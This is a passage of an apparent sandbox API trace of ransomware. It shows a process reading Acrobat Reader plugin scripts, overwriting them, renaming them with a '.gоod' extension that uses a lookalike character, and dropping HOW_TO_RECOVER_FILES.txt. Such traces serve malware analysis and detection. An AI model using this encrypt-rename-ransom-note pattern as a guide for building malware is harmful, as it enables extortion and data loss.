ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0263.092] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0263.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eaa30) returned 1 [0263.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea9f0) returned 1 [0263.092] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js", lpFilePart=0x0) returned 0x97 [0263.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea8a0) returned 1 [0263.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x39498e0 | out: lpFileInformation=0x39498e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb4f)) returned 1 [0263.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea860) returned 1 [0263.093] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ea230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js", lpFilePart=0x0) returned 0x97 [0263.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea750) returned 1 [0263.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0263.093] GetFileType (hFile=0x808) returned 0x1 [0263.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea6c0) returned 1 [0263.093] GetFileType (hFile=0x808) returned 0x1 [0263.093] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x203ea8f8 | out: lpFileSizeHigh=0x203ea8f8*=0x0) returned 0xb4f [0263.093] ReadFile (in: hFile=0x808, lpBuffer=0x394a808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ea828, lpOverlapped=0x0 | out: lpBuffer=0x394a808*, lpNumberOfBytesRead=0x203ea828*=0xb4f, lpOverlapped=0x0) returned 1 [0263.094] CloseHandle (hObject=0x808) returned 1 [0263.122] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ea230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js", lpFilePart=0x0) returned 0x97 [0263.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea750) returned 1 [0263.122] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0263.123] GetFileType (hFile=0x808) returned 0x1 [0263.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea6c0) returned 1 [0263.123] GetFileType (hFile=0x808) returned 0x1 [0263.123] WriteFile (in: hFile=0x808, lpBuffer=0x39c5a88*, nNumberOfBytesToWrite=0xb50, lpNumberOfBytesWritten=0x203ea738, lpOverlapped=0x0 | out: lpBuffer=0x39c5a88*, lpNumberOfBytesWritten=0x203ea738*=0xb50, lpOverlapped=0x0) returned 1 [0263.123] CloseHandle (hObject=0x808) returned 1 [0263.123] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js", lpFilePart=0x0) returned 0x97 [0263.123] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js.gоod", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js.gоod", lpFilePart=0x0) returned 0x9c [0263.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea860) returned 1 [0263.123] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x203ea940 | out: lpFileInformation=0x203ea940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x990c4758, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb50)) returned 1 [0263.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea820) returned 1 [0263.123] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js.gоod")) returned 1 [0263.124] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js", lpFilePart=0x0) returned 0x99 [0263.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea8a0) returned 1 [0263.125] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x39c6ef8 | out: lpFileInformation=0x39c6ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994)) returned 1 [0263.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea860) returned 1 [0263.125] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js", nBufferLength=0x105, lpBuffer=0x203ea230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js", lpFilePart=0x0) returned 0x99 [0263.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea750) returned 1 [0263.125] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0263.125] GetFileType (hFile=0x808) returned 0x1 [0263.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea6c0) returned 1 [0263.125] GetFileType (hFile=0x808) returned 0x1 [0263.125] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x203ea8f8 | out: lpFileSizeHigh=0x203ea8f8*=0x0) returned 0x994 [0263.125] ReadFile (in: hFile=0x808, lpBuffer=0x39c7c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ea828, lpOverlapped=0x0 | out: lpBuffer=0x39c7c78*, lpNumberOfBytesRead=0x203ea828*=0x994, lpOverlapped=0x0) returned 1 [0265.402] CloseHandle (hObject=0x808) returned 1 [0266.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js", nBufferLength=0x105, lpBuffer=0x203ea230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js", lpFilePart=0x0) returned 0x99 [0266.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea750) returned 1 [0266.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.363] GetFileType (hFile=0x834) returned 0x1 [0266.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea6c0) returned 1 [0266.363] GetFileType (hFile=0x834) returned 0x1 [0266.363] WriteFile (in: hFile=0x834, lpBuffer=0x3830310*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x203ea738, lpOverlapped=0x0 | out: lpBuffer=0x3830310*, lpNumberOfBytesWritten=0x203ea738*=0x9a0, lpOverlapped=0x0) returned 1 [0266.364] CloseHandle (hObject=0x834) returned 1 [0266.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js", lpFilePart=0x0) returned 0x99 [0266.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js.gоod", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js.gоod", lpFilePart=0x0) returned 0x9e [0266.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea860) returned 1 [0266.364] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js"), fInfoLevelId=0x0, lpFileInformation=0x203ea940 | out: lpFileInformation=0x203ea940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9afa09e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9a0)) returned 1 [0266.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea820) returned 1 [0266.364] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\selector.js.gоod")) returned 1 [0266.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ea540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0xa6 [0266.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eaa60) returned 1 [0266.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0266.724] GetFileType (hFile=0x768) returned 0x1 [0266.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea9d0) returned 1 [0266.724] GetFileType (hFile=0x768) returned 0x1 [0266.725] WriteFile (in: hFile=0x768, lpBuffer=0x394b8c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eab28, lpOverlapped=0x0 | out: lpBuffer=0x394b8c0*, lpNumberOfBytesWritten=0x203eab28*=0x5d0, lpOverlapped=0x0) returned 1 [0266.725] CloseHandle (hObject=0x768) returned 1 [0266.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eaaf0) returned 1 [0266.726] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf", nBufferLength=0x105, lpBuffer=0x203ea590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf", lpFilePart=0x0) returned 0x8d [0266.726] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\*", lpFindFileData=0x203ea810 | out: lpFindFileData=0x203ea810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0266.726] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.726] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc85, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0266.726] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0266.727] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0266.727] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0266.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eaa30) returned 1 [0266.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea9f0) returned 1 [0266.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eaaf0) returned 1 [0266.727] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf", nBufferLength=0x105, lpBuffer=0x203ea590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf", lpFilePart=0x0) returned 0x8d [0266.727] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\*", lpFindFileData=0x203ea810 | out: lpFindFileData=0x203ea810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0266.727] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.727] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc85, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0266.727] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0266.728] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203ea7d0 | out: lpFindFileData=0x203ea7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0266.728] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0266.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eaa30) returned 1 [0266.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea9f0) returned 1 [0266.728] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js", nBufferLength=0x105, lpBuffer=0x203ea3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js", lpFilePart=0x0) returned 0x97 [0266.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ea8a0) returned 1 [0266.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x395c180 | out: lpFileInformation=0x395c180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc85)) returned 1 [0266.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ea860) returned 1 [0266.728] GetFullPathNameW (in: lpFileName="C:\\Program Files 